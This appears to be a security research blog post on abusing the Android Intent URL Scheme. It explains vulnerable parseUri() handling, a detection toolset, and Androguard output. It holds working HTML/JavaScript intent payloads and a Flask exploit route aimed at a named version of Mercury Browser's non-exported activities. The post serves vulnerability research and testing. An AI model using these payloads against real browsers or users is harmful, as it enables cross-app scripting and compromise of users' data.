The Power of Wings | Abusing the Intent URL Scheme Redux


Overview

In March 2014 a white paper was released that detailed research from Takeshi Terada around using the Intent URL Scheme in order to effectively attack Android Web Browsers. In this paper he demonstrates how an insecure implementation of the Intent URL Scheme had been leveraged in popular browsers (Chrome, Opera) to essentially exploit Cross-Application Scripting (XAS) and Universal Cross-Site Scripting (UXSS) vulnerabilities.

It is not a secret that the use of custom schemes within Android applications can lead to vulnerabilities and abuse scenarios. A great example of this, would be the vulnerability found by QuarksLab in Samsung's KNOX MDM application. It has been over a year now since this publication, and I wanted to take a deep dive into what can be considered a 'vulnerable implementation' of the Intent URL Scheme, and what a typical exploitation scenario will look like, when attacking a vulnerable Android Web Browser.

Intents and the Intent URL Scheme

In Android, Intents are communication objects which can be considered the highest-level abstraction of Inter-Process Communication (IPC). Intents are the primary way that components within a given application communicate to each other. Intents also support the concept of App-to-App communication, where a component from one application can invoke or communicate to components in other applications. The Intent structure typically consists of an action, data, and extras. The action specifies an operation to perform, data usually comes in the form of a data URI, and extras are a bundle of key-value pairs like url: "https://www.google.com".

The Intent URL Scheme as stated in the original white paper, has very little documentation. To this day a quick Google will probably drop you here - https://developer.chrome.com/multidevice/android/intents - and it is important to note this bit of information:

" .. Only activities that have the category filter, android.intent.category.BROWSABLE are able to be invoked using this method as it indicates that the application is safe to open from the Browser .. "

I would like to think there should be more information about the potential security implications when this feature is implemented incorrectly, however there is not.

The Intent URL Scheme syntax is as follows:

#Intent;[package];[component];[action];[extra];[category];[scheme];end

Example:

"intent:#Intent;S.url_authorize=https://www.google.com;SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.clouddrive.box.BoxAuthActivity;end";

The only caveat I want to mention here is when it comes to the vulnerable implementation, you may see the handling of either intent: or intent:// in front of #Intent.

Vulnerable Implementation

Before we explore the mechanics of what a vulnerable implementation actually looks like, there are few things I want to touch on about exported and non-exported Android components. The concept of Android component exportation (Activities, Broadcast Receivers, Services) is that if you want a component to be accessible to another application you can explicitly add an attribute - exported=true - to the component definition within the AndroidManifest.xml If you have declared any intent filters for these components, by default they will be exported unless you set that attribute to false. The reason this matters in the case of exploiting a vulnerable application, is that you will have the ability to create intent objects and pass them to 'private' or non-exported components. Conceptually this is the scenario you want in order to build a XAS or UXSS context, and is very critical considering the attack paths in this case will primarily originate from hosted HTML pages on the Internet.

Within the Android API the Intent class comes with a method called parseUri() - its definition reads:

" .. Create an intent from a URI. This URI may encode the action, category, and other intent fields, if it was returned by toUri(int). If the Intent was not generate by toUri(), its data will be the entire URI and its action will be ACTION_VIEW .. "

If a given Android Web Browser or application is vulnerable, the parseUri()method will be the crux of the issue.

As detailed in the original white paper, a straight forward way of attacking the implementation is using location.href within a simple HTML page, and pointing the location to an Intent URL:

    <html>
        <body>
            <script>                location.href="intent:#Intent;S.load=https://www.google.com;SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
            </script>
        </body>
    </html>

To illustrate how to abuse this vulnerability, consider a common flow within a typical Android Web Browser:

  • Invoke MainActivity with target URL
  • URL contains attacker controlled HTML
  • onCreate() method handles MainActivity invocation
  • location.href points to Intent URL Scheme
  • Intent URL is handled by parseUri()
  • Intent object is created
  • Activity is started with Intent - startActivity()

The vulnerability arises when the URL being passed to parseUri() is not properly filtered. It is pretty obvious you should always be controlling the Intents created from an untrusted source. As detailed in the original paper if you're not:

  • Forbidding the launch of Activities without the BROWSABLE category
  • Forbidding explicit calls
  • Forbidding selector Intents

Then you probably have a vulnerable implementation. Some of this falls inline with the general problem of securing Intent communications i.e. implicit and explicit Intents.

Detection

I have developed a toolset called Bowser in order to approach the insecure implementation detection of the Intent URL Scheme, and automating exploitation once a vulnerability has been discovered.

Dynamically Bowser will handle this in two separate ways. First it will leverage MonkeyRunner - a tool that comes with the Android SDK, which can will be used to automatically invoke the target browser's MainActivity , then load a URL we control. This URL will be pointing at a Flask application endpoint that serves up HTML pages based on the browser we are targeting for detection.

Initially the endpoint will be one that only servers up HTML that is meant to invoke parseUri():

@app.route('/intent')
def intent():

    """
    Intent template for testing parseUri()

    """
    exploit = """

        <html>
            <head>
                <meta charset="utf-8" />
                <title>Trigger parseUri()</title>
            </head>
            <body>
                <script>                location.href="intent:#Intent;action=android.intent.action.VIEW;end";
                </script>
            </body>
        </html>

If the browser has implemented the Intent URL Scheme, on your emulator or device, the ActivityManager will ask you which application you would like let handle the android.intent.action.VIEW action. This is accompanied with Hooker. This feature uses Mobile Substrate in order to instrument and hook calls being made to parseUri(). In the event that Hooker 'hooks' a parseUri() call, it will log this and display the action within the Intent's object structure.

if(method != null);  
                    Log.d("Hooker", "Method Hooked!");

                MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Intent>(){
                    public Intent invoked(Object _class, Object... args)
                        throws Throwable {
                        String arg1 = (String)args[0];
                        Log.d("Hooker", arg1);
                        Intent intent = invoke(_class, args);
                        String action = intent.getAction();
                        Log.d("Hooker", action);
                        return invoke(_class, args);

Statically, Bowser invests heavily in the capabilities provided by Androguard. It simply searches a target APK for specific methods like parseUri() - which if detected, will let us know immediately if the application implements the Intent URL Scheme.

┌[[email protected]] [/dev/ttys000] [master ⚡] [2]
└[~/Development/python/bowser]> python wrapper.py --apk ~/Research/android-browsers/Mercury-Browser-Android/apk/2.2.2/com.ilegendsoft.mercury-1.apk
[2015-05-08 19:40:34.106835] Androguard imported successfully!
[2015-05-08 19:40:34.109835] Performing analysis ...
[2015-05-08 19:41:10.715256] Analysis successful!
[2015-05-08 19:41:10.715303] Searching for parseUri implementation ...
[2015-05-08 19:41:23.555021] Found parseUri() implementation! ...
1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x18a) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x1be) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x246) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
[2015-05-08 19:41:23.555129] Searching for loadUrl...
[2015-05-08 19:41:23.561365] Found loadUrl() implementation! ...
1 Lcom/b/a/l;->onCreate(Landroid/os/Bundle;)V (0x72) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/clouddrive/box/k;->a(Ljava/lang/String; Ljava/lang/String;)V (0x1e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/reading/v;->b(Ljava/lang/String;)V (0x90) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/settings/u;->onViewCreated(Landroid/view/View; Landroid/os/Bundle;)V (0x6c) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/CustomWebView;->loadUrl(Ljava/lang/String;)V (0x4) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x152) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/d;->a(Landroid/webkit/WebView;)V (0x8) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/d;->b(Landroid/webkit/WebView;)V (0x8) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/g/k$2;->run()V (0x18) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/g/u;->a(Landroid/webkit/WebView; Lcom/ilegendsoft/mercury/utils/g/v; Ljava/lang/String;)Z (0x2e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->onCreate(Landroid/os/Bundle;)V (0x76) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/zcloud/external/social/common/OAuthDialog;->b()V (0x5c) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lep;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0xd0) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
[2015-05-08 19:41:23.561657] Searching for addJavascriptInterface() ...
[2015-05-08 19:41:23.951765] Found addJavascriptInterface() implementation! ...
1 Lcom/b/a/l;->onCreate(Landroid/os/Bundle;)V (0x72) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/clouddrive/box/k;->a(Ljava/lang/String; Ljava/lang/String;)V (0x1e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/reading/v;->b(Ljava/lang/String;)V (0x90) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/settings/u;->onViewCreated(Landroid/view/View; Landroid/os/Bundle;)V (0x6c) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/CustomWebView;->loadUrl(Ljava/lang/String;)V (0x4) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/e;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x152) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/d;->a(Landroid/webkit/WebView;)V (0x8) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/d;->b(Landroid/webkit/WebView;)V (0x8) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/g/k$2;->run()V (0x18) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/g/u;->a(Landroid/webkit/WebView; Lcom/ilegendsoft/mercury/utils/g/v; Ljava/lang/String;)Z (0x2e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->onCreate(Landroid/os/Bundle;)V (0x76) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/zcloud/external/social/common/OAuthDialog;->b()V (0x5c) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lep;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0xd0) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  

Exploitation

Once we have confirmed through the various detection techniques that our target browser supports the Intent URL Scheme, we need to start searching for a way to actually abuse the vulnerable implementation. We have already discussed what is needed to build a proper context, so our search will target viable private Activities within the Android Web Browser. In this process I usually build cross references to the methods - getExtras() - getStringExtra() - loadUrl() - because typically a vulnerability will arise in this way:

  • Activity handles inbound Intent - onNewIntent() - onCreate
  • Retrieve extras or a specific string through - getExtras() - getStringExtra()
  • This String retrieved is a URL
  • URL becomes argument to loadUrl()

SimpleWebViewActivity

Now we have:

  • Identified the support for the Intent URL Scheme
  • Know that the implementation is vulnerable
  • Found a target Activity

Lets build the exploit into the Bowser for complete automation. We do this buy building an additional endpoint into the Flask application to target our vulnerable Android Web Browser.

@app.route('/mercury')
def mercury():

    """
    Template for mercury

    """

    # Get User-Agent from request headers
    user_agent = request.headers.get("User-Agent")

    # Log the User-Agent to a file
    with open(os.path.join("logs/", "mercury-ua-%s" % datetime.now()), "w+") as log:
        print("[%s] Writing Log" % datetime.now())
        log.write(user_agent)
        log.close()

    # Exploit #01

    exploit = """

         <html>
            <body>
                <script>
                setTimeout(function ()
                {            location.href="intent:#Intent;S.url_authorize=file:///sdcard/Mercury/Downloads/xss.html;SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.clouddrive.box.BoxAuthActivity;end";
                }, 5000);
                </script>
                <iframe src='http://192.168.1.106:5000/xss' />
            </body>
        </html>

           """

In this example we point an iframe to an endpoint that will force the browser to download our xss.html - then we launch an attack on the vulnerable Activity, by having it load the HTML from its downloads location into the now problematic loadUrl() call.

Demo

IMAGE ALT TEXT

Wrapping Up

Bowser is now incorporated into Lobotomy with setup and configuration details to get anyone started on testing Android Web Browsers for this type of vulnerability class. The wrapper around Androguard currently searches for:

  • parseUri()
  • loadUrl()
  • addJavascriptInterace()

Modifying the Flask application to support a new browser is simply done by adding a new route that returns your crafted HTML. You can also easily append the harness itself by adding the target APK package and the MainActivity for each new browser.